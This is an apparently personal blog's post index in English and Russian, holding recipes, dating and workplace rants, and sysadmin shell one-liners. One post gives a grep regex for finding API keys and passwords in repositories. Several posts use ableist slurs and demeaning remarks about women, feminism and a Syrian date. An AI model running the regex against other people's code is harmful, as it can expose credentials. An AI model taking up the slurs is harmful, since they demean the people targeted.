Bae says I’m like a mini fridge, short, stubby and permanently cold.
Author: Dirty_Inode
Аргентина
Превед ЛОР! Вот тебе сохраненные былилы из удаленного танцпола. Жила 8 лет в Аргентине. Убитые связки кистей и проблемы с памятью. Типо «боксерская болезнь. Абсолютно не запоминаю фильмы и книги, могу не помнить, что делала утром, если между „включением мозга“ (работа) и просыпанием есть промежуток, а ля „собраться и доехать до работы“. Первый вопрос врача, … Continue reading Аргентина
You’re useless. Imitating work is more important than working, because everybody can see it.
Coded datadog functionality all by myself, like a big girl. Released 1.5 weeks earlier, so can accomodate other urgent projects and needs. Migration and implementation transparent to the team, as usual. One insident in 2 years of constant development and feature(s) releases. Got put down for only updating on newer communication channels and not sending … Continue reading You’re useless. Imitating work is more important than working, because everybody can see it.
Disposable
It doesn’t matter, what you’ve created nor “how much you’ve done”. It matters much less what you’re worth. The only thing you’re good for is to be the example of poor rage management and foul language.
Inventory
Is it normal to keep a written inventory of your fridge(s) and freezer(s), so u never run out of food, but without wasting food? :
Я познаю мир
Если замоченные в майонезе купинные ножки потушить на луковой подушке в скороварке, с перчиком и лавровым листом, на протяжении 4х часов, вы получите вкус пельменей.
Today I’ve coded this…
Because documentation and training is not enough to keep people from doing stupid.
Spaghetti squash
Eggs & Cheese Mexican Cheesy Blolognese
Crunchy asian salad
Salad: 1/2 red cabbage, chopped 1/2 romaine lettuce, chopped 1 red pepper sliced 2 carrots, cut into match sticks 1/2 snow peas trimmed & julienned (???) 1/4 cup sliced scallions 1 cup roasted, sauted peanuts, chopped 1 pach of ramen noodles, broken up cooked chicken chopped pinneapple mango Dressing 1/2 cup peanut butter 1/4 water … Continue reading Crunchy asian salad
Spinach salad
Ingredients: 1 tbsp butter 3/4 almond slices toasted 1lb of spinach 1 cup dried cranberries cup toasted sesame seeds 1 tbsp poppey seeds 1/4 cup white sugar 2 tsp minced onion 1/4 tsp paprica 1/4 cup white wine vinegar 1/4 cup cider vinegar 1/2 cup vegetable oil
Brocoli salad
Salad: 1 brocoli, chopped 1 red onion, chopped 1 celery stick, chopped 1 apple, chopped 1 cup dried cranberries Dressing: 1 cup mayo 2 tbsp sugar 1/4 cup white vinegar salt&pepper Optional: Add cooked bacon, because bacon makes everything better.
Bean salad
Salad: 1 can chick peas 1 can lentils 1 can yellow beans 1 can green beans 1 can kidney beans 1 onion chopped 1 green pepper chopped Dressing: 1/2 cup oil 1/4 cup sugar 1/2 cup vinegar
Coleslaw salad
2 cups shredded cabbage 1 large carrot, grated 1 tbsp minced onion 1 cupo mayonnaise 1/3 cup white vinegar 1/4 cup sugar 1 tsp dry mustard, celery salt onion powder If too thick, add milk or cream
Rice salad
Salad: 2 cups of cooked rice 1 cup of chopped celery 1 cup of chopped onion ( 1 small onion) 1/2 cup chopped green pepper. 1 cup of frozen peas, thawed Dressing: 1/2 cup oil 3 tbsp vinegar 1/4 sugar 4 tbsp soya sauce Served hot or cold.
Kale salad
Salad: 3 cups of finely chopped kale 1 carrot, grated 1 apple, diced 1/2 small red onion diced 1/4 toasted sesame seeds 1/4 toasted sliced almods Dressing: 2 tbsp olive oil 1 lemon, juiced 1 tbsp maple syrop 1 tsp grainy mustard
Chicken noodle soup
Ingredients: 1 tbsp olive oil 2 chicken breast (with base) 2 carrots chopped or grated 1 celery chopped 1 large oinion, chopped salt, pepper 1 tsp thyme bay leaf 1 tsp garlic powder or minced garlic 4-6 cups of water 1 stock cube small noodles (1 cup dry) Parsley Instructions: Heat oil over medium heat. … Continue reading Chicken noodle soup
Spring Pea Soup
Ingredients: 2 cups cubed peeled potatoes 2 tbsp butter 6 cups chicken broth 2 cups frozen green peas 2 tbsp minced chives Instructions: Saute potatoes in butter until browned. Stir in broth. Bring to boil. Reduce heat. Cover and simmer, until potatoes are tender (10-15 min) Add peas. Coock 5-8 minutes. Cool a bit. Puree. … Continue reading Spring Pea Soup
French Onion Soup
Ingredients: 2 tbsp butter 4 yellow onions, shredded thin salt and pepper 1 tsp flour 1/2 dry red wine 1 tbsp choped fresh thyme 1 bay leaf 1 tsp lemon juice 2 cups beef stock 2 cups chicken broth 1/2 cup grated gruyere / cheddar 4 slices of bread (1 inch thick). Instructions: Melt butter … Continue reading French Onion Soup
Гороховый суп
замочить горох с вечера или поставить вариться в минимальном количестве воды паралельно с бульоном. сварить бульён (лучше свинной) В готовый бульон выложить горох. Добавить картошку и морковку. Готово, когда все сварилось. Добавить сухой лук, зелень.
Easy Pea Soup
Ingredients: 1 cup yellow dried peas 3 cups chicken broth 1/2 cup chopped onion (one small onion) 1 cup corn niblets 1 cup chopped carrots 1 cup chopped ham 2 cups milk salt and pepper Instructions: In a large pot, combine peas and broth. Boil for 2 minutes. Remove from heat, let … Continue reading Easy Pea Soup
Slow coocker chicken tortilla soup
Ingredients: 2-3 chicken breasts 1 tbsp chili powder 1 tsp coriander 1 tsp cumin 1 tsp paprica Salt & pepper 1 can of diced tomatos 1 can of black beans 1 cup of frozen corn 1 onion, chopped 1 red bell pepper, chopped 1 yellow bell pepper, chopped 2 tsp powder onion (or 2 … Continue reading Slow coocker chicken tortilla soup
Broccoli Soup
Ingredients: 1 brocoli 1 large onion 1 potato 2 tbsp butter 4 cups chicken stock 1/4 cup cream (optional) 1 cup of frozen peas (optional) Ingredients: Behead the broccoli. Peel the skinn off the stem. Dice stem, onions, potato. Saute diced vegetables in butter. Add salt & pepper. Add stock (2 inches above … Continue reading Broccoli Soup
Corn Rice Soup
Ingredients: 1tbsp btter 3/4 cup rice 1 1/2 water 1 large onion 1 large can creamed corn 4 cups of stock 1 stock cube Instructions: Cook Rice. Cook onion in butter. Once soft, add rice salt and pepper. Add stock, corn and stock cube. Coock for 10 minutes. Add water if too thick.
Lentil Soup
Ingredients: 3 things of bacon, diced 1 onion, diced 2 celery, diced 2 carrots, diced 2 cloves of garlic, minced 1 bay leaf 1 tsp of thyme 1 stock cube 1 tomato potato diced 1/4 cup of balsamic vinegar Instructions: cook bacon until almost crisp add onion, celery, carrots, garlic, bay leaf, thyme. Cook … Continue reading Lentil Soup
Roasted Red Pepper Tomato Soup
Ingredients: 4 large red peppers 2 tbsp butter 1 large red onion 2 tsp of garlic powder 4 cups broth 1 tbsp lemon juice 1 can of tomatoes (pureed) basil salt&pepper Instructions: Roast peppers, remove skins melt butter add chopped roasted peppers, garlic and onions cook 3-4 minutes add broth and 1 can pureed tomatoes … Continue reading Roasted Red Pepper Tomato Soup
Popcorn Caramel
Ingredients 8 cups popped popcorn 1/2 cups peanuts 1/3 cup butter 1/2 cup brown sugar 1/2 cup corn syrop Instructions: Pre-heat oven at 300 degrees Farenheit. Roast peanuts in a pan. Boil butter, sugar and syrop to boil for 2 min. Remove from heat. Mix all the things. Spreat all the things on a backing … Continue reading Popcorn Caramel
Hummus Chick Pea
1 can of chick peas, rinced, dried 1 tbsp tahihi 1 tsp of garlic powder / 1 clove of minced garlic lemon juice (1 lemon) 3 tbsp olive oil roasted red pepper (optional) Puree in food processopr.
Hummus Tex Mex
Ingredients: 1 can of white kidney beans rinced and drained 1 tbsp chipotle sauce lemon juice 1/2 lemon 1 tsp roasted garlic puree (replace with garlic powder to not kill your vampire friends who are allergic to garlic) 3 tbsp olive oil 1 tsp paprika 1 tsp smoked paprika 1 tsp chilli powder 1 tsp … Continue reading Hummus Tex Mex
Сhicken Drumsticks
Ingredients – 1/3 Cup Olive Oil – Juice of One Lemon – 2 Teaspoons Garlic Powder – 2 Teaspoons Onion Powder – 2 Teaspoons Salt – 1/4 Cup Soy or Worcestershire Sauce – 1/4 Cup Brown Sugar – 1 Teaspoon Black Pepper – 1 Teaspoon Paprika – 10 Chicken Drumsticks Instructions – Mix all the things and marinate 1/2 – 12hs – Bake in a pre-heated oven at 425 degrees … Continue reading Сhicken Drumsticks
Derpiest level of Challel
When you think you’re at the highest level of mental retardation, remember that Windows drops wifi connection when an external USB monitor is connected and nobody relates it to the actual electical noise made by the cable. https://answers.microsoft.com/en-us/surface/forum/all/external-monitor-drops-wifi/8db43590-1e07-4d7d-b2d1-1389966bd75b?page=1
Список
Dollarama showel rolling pin KOt tray x1 placemats, dishwasher safe Laundry detergent shoe tray for glass door entrance. pot for pineapple with holes pot for pothos with holes pot for wandering jew with holes сupcake paper bowl for kokodama поварежка короткие лопатки ступка long pot for spices garbage bags dish sponges new long spone or … Continue reading Список
D&D
Bae is having a remote D&D session, which triggers massive flash backs to the time when I was 5 and playing dolls with my sister. (She always wanted the Ken for her Barbie, I was fighting Schredder in a space ship, but also owe a house with a pool and a jeep) It’s ridiculously similar, … Continue reading D&D
Delivery
Seriously considering scripting the process of taking the first available timeslot as soon as it’s published and automatically checking out. The only store that delivers to my parents or my BF place is overwhelmed with orders. Can’t save the world by laying on the coutch if ain’t got my essentials! I’m not even asking for … Continue reading Delivery
Quarantine
That feeling, when you’ve been wearing a gas mask for years, before it became mainstream… Equipped parents with one of mine, so they can buy them for all of us. There’s no more gas masks in the stores. “Out of stock” on masks and filters on Amazon/CanadianTire/HomeDepot/Rona grows exponentially. Prices on gas masks tripled and … Continue reading Quarantine
Mustard-Maple Roasted Salmon
Buffalo Chicken Enchiladas
Leek soup
Kish
Sweet and Sour chicken
Chicken pot pie with biscuits
Lazagna
SHRIMP ANKAKE DONBURI
Ingredients: – 1 tablespoon vegetable oil – 4 cloves garlic (minced) – 1 thumb size ginger (peeled and cut into thin strips) – 1 small onion (finely chopped) – 1 medium potato (peeled and cut bite size) – 1 medium zucchini (chopped bite size) – 12–14 large shrimps – 2 cups baby spinach – 1 … Continue reading SHRIMP ANKAKE DONBURI
Instagram chicken pasta
Ingredients: – Chicken – Spaghetti – Onions – Bell Pepper and/or random vegetables – Tomatoes – oil – garlic – Shredded cheese ⠀ Instructions: Pour the oil into a frying pan and put it on medium fire. Cut all the things into cubes. Make sure meat is in small cubes, so it cooks through successfully. … Continue reading Instagram chicken pasta
Chicken stew
Ingredients: – 1kg of chicken cut in cubes – Oil – 2 carrots diced – 1 onion – celery 2-4 stacks, diced – 5 tbs flour, divided – 1/2 red pepper diced – 1/4 cup white wine (if you’re fancy AF) – 4 cups chicken broth or chicken stock – 1 cup green beans or peas … Continue reading Chicken stew
Teriyaki stir fry
Note: Goes well on top of rice or alone. Pre-cook whatever carb you intent to put this thing on. TERIYAKI SAUCE: – 1/4 cup tamari (the fancy Japanese soy sauce which is a thicker, less salty, fermented and potentially gluten-free. Replace with normal chiniese soy sayce or coconut aminos) – 2 1/2 Tbsp. brown sugar … Continue reading Teriyaki stir fry
Pizza dough
Mix the following until it foams: 1 1/3 cups warm water 1 tsp quick yeast 1 tsp sugar Whisk in the following into the foamy thing: 1 tsp of salt 2 tbs of oil Fold in 3 cups of flower until sticky doe forms. Cover and let raise for 45 minutes.
Mah first time…
Bae always finds new ways to cream my face on the morning
Асфальт.
Если лыжи не едут, может быть, это просто лыжи неправильные.
#1
Don’t expect to be the most important wooman in his life. You can never outstand mommy. Much less, outshine.
Grep IP only
grep -oE “\b([0-9]{1,3}\.){3}[0-9]{1,3}\b”
Bitching
If I wasn’t accostumed to the fact that sysadmins/devops related people is lower than the janitors in the corporate “food chain”, I would find insulting that all IT related people in the video are portrait as clinical retards. Oh wait… I have to take notes on how to properly do regex and not print the … Continue reading Bitching
Regex to find passwords and api keys, because we all love git, but not many can use it properly
grep -liRP ‘(?<![A-Z0-9])[A-Z0-9]{20}(?![A-Z0-9])’ . | sort | uniq -c && grep -liRP ‘(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=])’ . | sort | uniq -c
Spirit animal
My boyfriend says that my spirit animal is a snail because I’m always wet and slow. This way to critisize my code is so elaborate, I can’t even get mad at it.
Megased to align shit properly
Because I’m retarded and can’t use a text editor properly: `s/^\s*\(\S*\):\s*$/ \1:/`
Usage of proper terms is essential
“scumfucking trashfire garbage” pretty well describes the network infrastructure we’re dealing with. “Shortterm backups for longterm misery” – When you snapshot anything and everything, but tag nothing. “Failing towards consistency” – this is how progress begins Nagios: a case study of how to fuck shit up Icinga: self abuse tool
Blonde Struggles
I define vars in vars files. I encrypt all the things. I no longuer know where did I define that var…
Because I’m useless with sed && AWK
sed regex (escape special chars) sed ‘s/[ ]//g’ | print the second last field from awk awk ‘ { print ( $(NF-1) ) }’ print only numbers sed ‘s/[^0-9]*//g’
Oh, memories.
People kept insisting, I’m the Queen.
Oh memories, the days when I could still be traumatized.
More efficient methods of debugging.
*rubber duck debugging:* method of debugging code where the programmer explains his code line-by-line to a rubber duck. *rubber dick debugging:* method of debugging code, you walk around with a giant dildo in hands and slap the coder with it each time he does something stupid.
AWK change delimiter
awk -F “|” ‘/1/ {print $1, $2, $3, $4, $7, $8}’
Facepalm.jpeg
Dude claiming to be a social engineer on his instagram profile. Humanity is doomed.
Automating automation
Too lazy to write ansible templates. Generate templates with a bash one liner that does not fit on a 27inch screen from current config files. This is incest, isn’t it?
Succubus
2 August 2019: I don’t know what happenned with you, but you always came back to my mind. I always thought I was derping around but sadly I wasn’t. You left a scar on me like a Succubus would do… I’ve been through hell and meet Samael. Honestly, even if I die, I’ll never forget … Continue reading Succubus
Gas mask
Punk concert: – What u r protesting against? – Not ur first Bad Religion show! You’re a true fan because the song… oh… allergies? Fuck that! – Take it off, you can’t breathe with that! – I’m a dog groomer / firefighter! I know what that is! – Cool! – Take it off, you’re not … Continue reading Gas mask
Ыыыы
Нет ничего невозможного, если ты охерел до нужной степени. Такое настроение сегодня хорошее, что не в сказке сказать, ни матом сформулировать. Как говорила моя бабушка, если напакостила, а чувство вины так и не пришло – значит, всё правильно сделала. После 30 у женщин слабеют мышцы ушей и лапша перестает дердаться.
I’m the wrong one to fuck with
…in all the possible ways…
Мысля дня
Я сосед. У меня трава упористее.
Tinder
I’ll die alone. It’s ok. Someone has to invest into cats and dildonics.
Lead like a queen. (this title needs more arroganse)
Entered elevator. Lights went off. Elevator stopped. Had to be rescued like a princess. Firefighters were cute. Must do this more often (still single) I’ve pressed buttons. He pressed buttons. I’ve sat my ass on the floor (thought it would take hours). He sat his buttox on the floor. I’ve called the operator. He finally … Continue reading Lead like a queen. (this title needs more arroganse)
… а потом я вспомнила, что Одмина…
A cute guy told me today that he saw a picture and it made him think about me. This is what it was…
Essence of devops
Make things go faster by doing something stupid… © Talorito
Spring
Spring has come. 3 of my ex’es called. An one night stand fuck messaged me to “build a relationship”. A 37 years old grandpa tried to convince me I need to meet him (at 11pm).
Wannabe dominant man
Orders food for me. Asks to split the bill. Make up ur mind, bro.
Sar + awk to show free RAM in GB
for i in $(ls /var/log/sa/ | egrep -vi sar); do sar -r -f /var/log/sa/$i | awk ‘{derp = ($4 – $6 – $7)/1024/1024; print derp}’ | sort | uniq; done
Automation is a derp
I’ve spent a couple of hours trying to query some info from about 500 servers. It was an one time task. Then it came to me… a bash one liner, showing the current status of my mental retardation.
I’m not fat!
I’m just horizontally challenged…
Protected: I was foolish to delete tinder. So much funz. So fragile.
There is no excerpt because this is a protected post.
Suh as challel, Talorito! Suh as challel.
This is how I write documentation. … literally… That ebgers me!
Genious Awards
Sometimes I wonder how people manage to be excellent in multiple domains. How it’s possible, the same person exceeds all the known limits on mental retardation and annoyance at the same time. He deserves a prize.
Security
Security is like a unicorn, we all love it, but does not exist.
Choices
Life often presents us with difficult decisions to make, such as “do I keep on with the diet and exercise or just eat the damn waffles and become the symbol of 2019?”
One, two, thee, four…
You never realize the amount of authenticators you have until you switch phones.
Fitness.
I wanted to get up at 6 and to to the gym before work. I got up at 4 and went to the fridge and back to sleep. I consider myself fit, because I still fit into sweat panths.
Tip of the day #2
It’s a bad idea to tell that I can team you IT after we hook up. Gentoo isn’t a non user-friendly OS, we just picky with our users.
Nomz
Rice paper is just condoms for food…
Chicken brain…
Why all the best shopping ideas come the day after black friday? All those backpacks and leggings I’ve could have gotten…
Tip of the day
On a first date, the following is a bad idea: – Asking the person’s adress. If she tells you “close to here”, it’s because it’s not normal to share the exact street, number and postal code. – Not talking and looking away. This just makes you look weird. – Bars that serve you Boreale instead … Continue reading Tip of the day
Insisting
I’ve recovered a mail account to which I didn’t log in in decades. Guess what I found… a job offer… that matches my profile… It seems HR are pretty despered and ingenious those days.
Decommissioned
I’m the generation that automates legacy. This is when I see old sysadmins being decommissioned. In today’s cloud (agnostic) world, the second you stop, you’re done. We’re the infrastructure, because we’re the code. This is just real life autoscaling. We’re all just another image on the internets.
Magic
I’ve found the true unicorn. His code works mainly because of magic. If there was no magic, shit would have burned a long time a go.
Security is a derp
They grow up so fast… My mom got her first smartphone. She can now share pictures of her flowers with her friends… …after I’ve blocked an entire arabic family from Lybia who was spamming the number through whatsup in arabic… Chat logs were available for longer than what the phone was in our possession. Also … Continue reading Security is a derp
Everything is possible
More realisations
I don’t master the pokerface at all. So much to learn.
Why?
This week, I’ve asked that question more times than the last year, but I’m slowly approaching the stage of acceptance. It’s ok.
GoldFish memory
cryptsetup luksOpen /dev/vdb2 myname mount /dev/mapper/myname /home cryptsetup luksClose myname https://wiki.gentoo.org/wiki/Dm-crypt
<3
Dear Internet, I’m in love. Today is the first day in my life where a linux laptop with encryption and anti-virus was provided to me as the “default”, just like other people get Windows and Mac, I got Linux, a secured one. There’s a first time for everything. Things you don’t believe in, may suddently … Continue reading <3
Biggest Sadness of this year
I’ve got my rose gold glitter shoes in the mail. They’re from China and run one size small. What I’ll wear now for my first day of work?!
Pretty
Пришла на собеседование красивая. Там решили, что я умная и дали бабла. Обьявила маме зарплату. Она разволновалась. Спросила нужно ли теперь ездить на работу и есть ли место с аналогичными условиями, где на работу ездить не надо. Действительно…
503: Brain not available.
I’ve unlocked a new achievement in life: Fail every single question from an interview, even those that are basic and those that I know BECAUSE I WAS USING THEM EVERY SINGLE DAY BEFORE VACATION!!!!! … and the second, your ass touches the car sit, it’s even worse, because all those responses and more are slowly … Continue reading 503: Brain not available.
Читерский мегапожирительный муравейник
Песочное печенье 200гр масла банка вареной сгущенки грецкие орехи ванилин (на кончик чайной ложки) Шоколад, клубника и прочие “декорации” Оставить масло вне хламадильника, что бы было мягким. Перемешать масло со сгущенкой. Поломать печенье на кусочки 1-2см и преремешать с орехами и ванилином. Перемешать печеньки с маслянной сгущенкой в форме для торта и запихать в морозильник … Continue reading Читерский мегапожирительный муравейник
Гренки с сыром
Нарезать багет колечками и обжарить на сковородке. Натереть честноком. Намазать маянезиком (тоненько). Посыпать сыром, лучше моцареллой
Крокодилковый суп (20мин)
Накрутить шариков из фарша и бросить в кипящую воду. Собрать пену. После кипения закинуть картошку, морковку, рис и рандом по вкусу. Притрусить сухим укропчиком.
Тыквенные котлеты
Фарш (маленькая пачка) Тыква (грушеобразная, маленькая) Лук 4шт Морковка яйца 4шт 1-2 ложки крахмала Соль + Перец + Честнок Добавить молотых сухарей до котлетной консистенции Жарить. Что бы получились украинские котлеты, соблюдать пропорцию 1/4.
Морковный “салат”
Морковка честнок перец лимонная кислота / уксус майонез Положить на черный хлеб и полить кетчупом
Лечужный
латук и прочий шпинат (без фанатизма, kale, чикория и прочей жесткой/душистой травы) помидоры огурци тунец (банка на рыло) морковка (не обязательно) вареное яйцо (количество по вкусу) майонез
Пальтовый салат
Банка тунца тертый сыр авокадо майонез (если авокадо недостаточно спелый)
Капустный
Тонко накрошенная капуста Тертая морковка 1шт (для красоты) Столовая ложка сахара без горки на тазик (не перестастить!) Лмонный сок Перемешать и “пожмякать” руками, что бы капуста пустила сок.
Пирожки для жарки
мука 1/2 банки сметаны маргарин соль яйцо Закатать не тугое тесто и дать постоять 30минут. Начинка №1: Обжаненный на сковородке фарш Рис Яйца Начинка №2: Капуста морковка соль лук (1/2 луковицы на среднюю кастрюлю) Тушить на маленьком огне до мягкости
Дрожжевое тесто для пирожков
– 2 столовые ложки сухих дрожжей или кубик 3х3 сырых – 1ст ложка сахара – яйцо – мука – вода/молоко Залить дрожжи теплым молоком, добавить ложку сахара и настоять 20-30 минут до появления пены. Добавить яйцо, муку (тесто должно быть мягким), воду/молоко. Настаивать тесто 2-3 часа, запихивая обратно в посудину когда вылазит. Не стучать … Continue reading Дрожжевое тесто для пирожков
Очередной пример женской логики.
Перелопатила грузовик мульчи. Мать начала называть электро-турбо-дизельным экскаватором. Непоняяяяятно. В меня же надо пиво заливать.
Сильная независимая женщина/ Strong Independant Woman
Зашла на тиндер, получила предложение о работе… по специальности, а не то, о чем вы подумали. ———————————————————————————————————— I went on tinder. Got a job offer. Not the one you think, but actually to work as a sysadmin. It’s time to get another cat.
Poverty
Живу я очень бедно, ем заплесневелый сыр, пью просроченное вино, езжу на машине без крыши… С просторов ентих ваших инретнетов, но на самом деле всё так и есть…
За 30.
Наверное это старость. Хочу беспроводный супер-пупер пылесос за 300 баксов, мега-швабру, новый хламадильник и понтовый очиститель воздуха…
Лялечка, 31 годик.
У всех людей зоопарк тараканов в голове, но к своему тридцатничку, я всё же еще не поняла кто мои… 300 спартанцев или подразделение ВДВ.
The end is near!
I really wonder, if it’s a good or a bad thing that cellphones adapt your auto completion suggestions depending on the type of app you’re using. On one hand, I’m pretty happy there’s no BDSM terminology when I’m composing emails, on the other, it seems that the rise of the machines isn’t that far away … Continue reading The end is near!
I quit
My ex-boss is like Microsoft, he fucks people in the ass with a big fisting dildo and no lub, while smiling and telling it’s for their own good. Sorry dude, but I’m Gentoo based.
oh technology!
Your attempts to keep your privacy are futile. Surrender, puny bag of meat! I’ve never linked my instagram to my facebook, yet, can login in insta with facebook with no issues whatsoever.
Eyes are the reflection of the soul
Tatoos are the reflection of the soul’s poverty. …even the pretty ones…
awk
# Don’t print first field awk ‘{ $1=””; print}’ # Don’t print first N fields… cuz me so smarties can’t figure out this shit each single time… awk ‘{ $1=$2=””; print}’
Plague is spreading
… to IT. Got this in my mailbox: “Women Tech Leaders (And Male Allies) At Motivate Want To Meet You” This is like gangrene, you miss the moment when it starts to matter which body part you have for fucking in the computer field, but when you realize it, it’s already too late. Soon, the only … Continue reading Plague is spreading
Check SSL expiry from commandline
echo | openssl s_client -showcerts -servername google.com -connect gnupg.org:443 2>/dev/null | openssl x509 -inform pem -noout -text
Butthurt
Returned from a 3 month sick leave for anxiety & depression. Worked for 2 months. Told boss anxiety is getting to the point where I can’t manage it any more, mainly because of lack of windows, natural light and current construction noise. Got told I should compensate my co-workers for not doing oncall (prohibited by … Continue reading Butthurt
Dating sites
I think I can diagnose by the picture… This dude’s selfie seemed weird, but rest of pics were fine, so I’ve added him on facebook. Well, I should trust my senses, his wall is filled with: – “poetic” stuff of how much he wants to love and be loved – as well as complaining no … Continue reading Dating sites
Unspecial
They’ve hired a blonde tech girl who speaks more languages than me. I’m not special any more. I’m still prettier tho!
Photoshop
Everyone knows that girls enhance their pictures. Sometimes it’s just a good angle and filters, others there’s more heavy artillery like photoshop and other photo editing software. Guys aren’t like that. Guys don’t even bother. They simply upload a ripped naked torso, without the head obviously… without bothering that the dude on the picture is … Continue reading Photoshop
Fatass
I’ve been checking mah fitbit at the same time every day for a while. There’s about 200 additional calories burned by 2pm if I’m coding something. I wonder if this is why I constantly craving sugar while at the office.
Dumb
Sometimes you feel like a dumb fucktard. Then your boss tells you’re the first one to pass X certification, that other people didn’t pass yet (and you know they’ve tried), but you’re like, well… it must be easier for me, because bla bla, derpy derp and trololo. Accepting own stupidity for some reason is way … Continue reading Dumb
Paradox
The faster is mah internet, the slower the gifs load.
Foodsies
Getting pad thai from uber eats (preparation and delivery) is way faster than just waiting in line in Thai Express and then waiting for the order to be made. So technically, I ate 1.5k calories and have a great justification for not moving to burn at least some of those off… cuz it’s not taking … Continue reading Foodsies
Ansible for derps
Since my level of retardation varies depending on the day, I need to put this somewhere. Loop_vars causes a segmentation fault in my brain, so hopefully, this example won’t cause me to loose a shit ton time again. vars.yml vhosts: – name: clusterfuck production: “clusterfuck.community” staging: “clusterfuck.community” sandbox1: “clusterfuck.community” – name: dirtyinode production: “dirtyinode.me” staging: … Continue reading Ansible for derps
Oh noes! Am I adulting?
I’ve realised that making your bed is easier than cleaning cat hair off the sheets. Is this the kind of aging that comes after 30? It’s scarry!
What is your mental age?
Took a 3h nap after having 2 mugs of pretty strong coffee. According to the amount of sleep I need per day, I’m somewhere between 3 and 6.
Saturday facepalms
My banc must have realised, their identity verification on the phone sucks so much, that they’ve quit doing it. Now you simply need the card number to retrieve information to set up direct deposit and do other stuff. In wrong hands, your card could be a big pain in the ass. Don’t lose your … Continue reading Saturday facepalms
Life realisations of an Orc
A while a go, I asked a dude, how he spotted I’m batshit crazy, what’s the thing that makes me different. He promised to think about it, but never told me the conclusion. I finally understood. It’s because I am… I’ve come to the realisation, that I may be an ork in real life. … Continue reading Life realisations of an Orc
Monday
Juniper is a berrie, Elk is an animal, Vault is a type of ceiling. “Vault Architecture” search does not give me what I’ve meant at all. Live is hard. Later on, the universe decided keep reminding me, it’s all mater of perspective.
Realisations about tits
Trisha Paytas got her tits done… and they look “natural”, like if she had grown them… they look worse than mine… I’m at the stage of my life, where I don’t have to look up “ugly boobs” on the internet to feel better… cuz people are paying ridiculous amount of money to get what I’ve … Continue reading Realisations about tits
When the grass was greaner.
I was the only one to be nerd in miles. Now every second profile on a dating app says “I’m so nerd”, every other one says “I’m a huge geek”. Sad. Being a weirdo is still not cool tho,
Old people…
My facebook is adulting. I’ve asked “yes or no” to a fucking expensive videocard and everyone sayed “no”. Poor eldery people. Adulting must suck.
Fonts
I’ve never thought that installing fancy fonts could be ever usefull for something else than eyecandy. Results, you need them to convert QR in shell output to image file. I’m feeling trully blonde today. So much time wasted due to a stupid missing font… and I wont start with the 300 mails in 1 minute … Continue reading Fonts
Maintenance
Sunday morning maintenance is when you don’t mute monitoring intentionally, so it wakes you up in case you fall asleep.
IQ
I’ve been feeling lately, this is my IQ level when I try to learn something new…
Ебанутость или яблочко от яблоньки…
Вот смотрю на енти ихние америко-канадские семьи и понимаю, что у меня никогда такого не будет. Уж больно они скучные нормальные. Накрашенные девушки со своими парнями. 2 бутылки вина на 8 человек, а “праздничный” ужин, намопинаеющий мою диету… Честно попыталась представить, как бы выглядела моя семья в такой ситуации, но никак не получаеться убрать ебанутость. … Continue reading Ебанутость или яблочко от яблоньки…
А какой ты покемон?
По утрам, девушки деляться на 4 типа: Пусть не накрашусь, но посплю. Пусть не накрашусь, но пожру. Пусть не посплю и не пожру, но накрашусь. Везде блядь опоздаю, но посплю, пожру и накрашусь!
Evolution
Sometimes people ask you why you don’t want to give them your cell or meet them. It’s very sad, but sometimes you have to explain them that it will not work out, since we’re at different stages of… evolution…
Psychos everywhere…
So I met a funny & interesting guy, which taste in music matched mine. He’s a bit short, but hey, I’m not perfect either, at least he got brains, cuz he’s a QA engineer! I wish I kept this friendship strictly online. I would not be disappointed by another weirdo. He arrived in a suit… … Continue reading Psychos everywhere…
Tall, blonde, blue eyes, smart, manipulative piece of shit
So I’ve met this guy, luckily, not in real life. He was quite “good material”. Tall, blone, blue eyes, engineer of some kind. He was also syrian, however, I’ve decided to not be close minded. He was pretty smart, had great sense of humour and was interesting to talk to. Almost prince charming. However, that … Continue reading Tall, blonde, blue eyes, smart, manipulative piece of shit
Dude
Someone you’ve always considered stronger and smarter, lays in coma in a hospital. We’re all bags of meat.
Feminism is cancer
When I’ve chosen the path of the SysAdmin, you had to have skills and brains to be one. Today, you just need a vagina because “females in IT” and “the gender gap”. This is not equality. This shit is completely dismissing all effort, time and dedication I’ve put in my vocation, as well as the … Continue reading Feminism is cancer
Feminism
It does not matter how retarded or sarcastic my instagram shit is. Someone will like it if it got #femenism on it.
Sysadmin in twerk class
Teaching girls how to download photos and videos from instagram xD
Security…
Samsung really cares for the security of the data on your phone. If you didn’t unlock it for 24hs using the fingerprint, it asks you to enter the password. Do they assume that each 24hs someone else could have my finger? Logic? Clearly missing.
Щавлевый суп
Вода/бульон Картофан кубичный Морковка тёртая Лук порошковый Рис Щавель (добавлять когда все остальное уже сварилось)
Рассольник
Таже хрень, что и щавлевый суп, только вместо щавля добавить квашенных огурцов.
Бульон & суп
Бульон: Мясо + вода, варить до готовности собирая жир Поставить в хламадильник когда остынет, собрать жир после остывания Суп: Закинуть рандом и прочую хренотень в бульон (дефолт: картоха + рис/макароны) Положить целую морковку, это для прозрачности. Выключить суп когда сварился картофан Вытащить морковку, корда суп сварен.
Голубцы
Сварить капусту (можно в микроволновке, быстро, результат тот же), срезать уплотнения Начинка: 1кг фарша 1/2 стакана риса (полувареного!) 1-2 луковици Помидоры рандомное количество Честнок ~4 зубка соль + перец Большая морковка Яйцо Завернуть начинку в капусту. Потушить в томатной пасте (можно с майонезом и бульоном) Соус должен покрывать голубцы.
Пельмени <3
Тесто: 1 кг муки вода ~0.5л соль растительное масло замесить и дать постоять до разбухания Фарш: 2 вида фарша (говядина+свинина, индюшка+свинина, рандом+рандом) лук, живой, измельченный… ну или мелко крошенный соль перец яйцо Дальшейшеё пояснять не надо. Всё знают как компилировать пельмени.
Мясо на палочке
фарш лук честнок мёд (1 столовая ложка х пакет фарша) Налепить фарш на палочки Взбить яйцо Обвалять это в кляре Обвалять в смеси сухарей и паприки Не помню как жарить…
Говядина с полдивой как в детском садике
Срезать мясо с кости и жарить в кастрюле, на большом огне, что бы образовалась корка, но мясо оставалось сырым и с кровью внутри Можно жарить на сковородке, но радиус заляпывания кухни увеличивается. Закинуть в фуфлоновую кастрюлю. 4 луковицы, мелко накрошить и обжарить на сковородке до золотистой корочки. Засыпать в фуфлоновую кастрюлю с мясом Можно использовать … Continue reading Говядина с полдивой как в детском садике
Мясо Дракона
Куриная грудка Шампиньоны 1/2 банки сметаны 2 яйца Крахмал Соль/Перец/Честнок Укроп Замесить “тесто” как на оладьи. Жарить в масле. Жрать сразу.
Быть женщиной сложно
Сходила к писькиному дохтуру, приказали лечить голову.
Sometimes
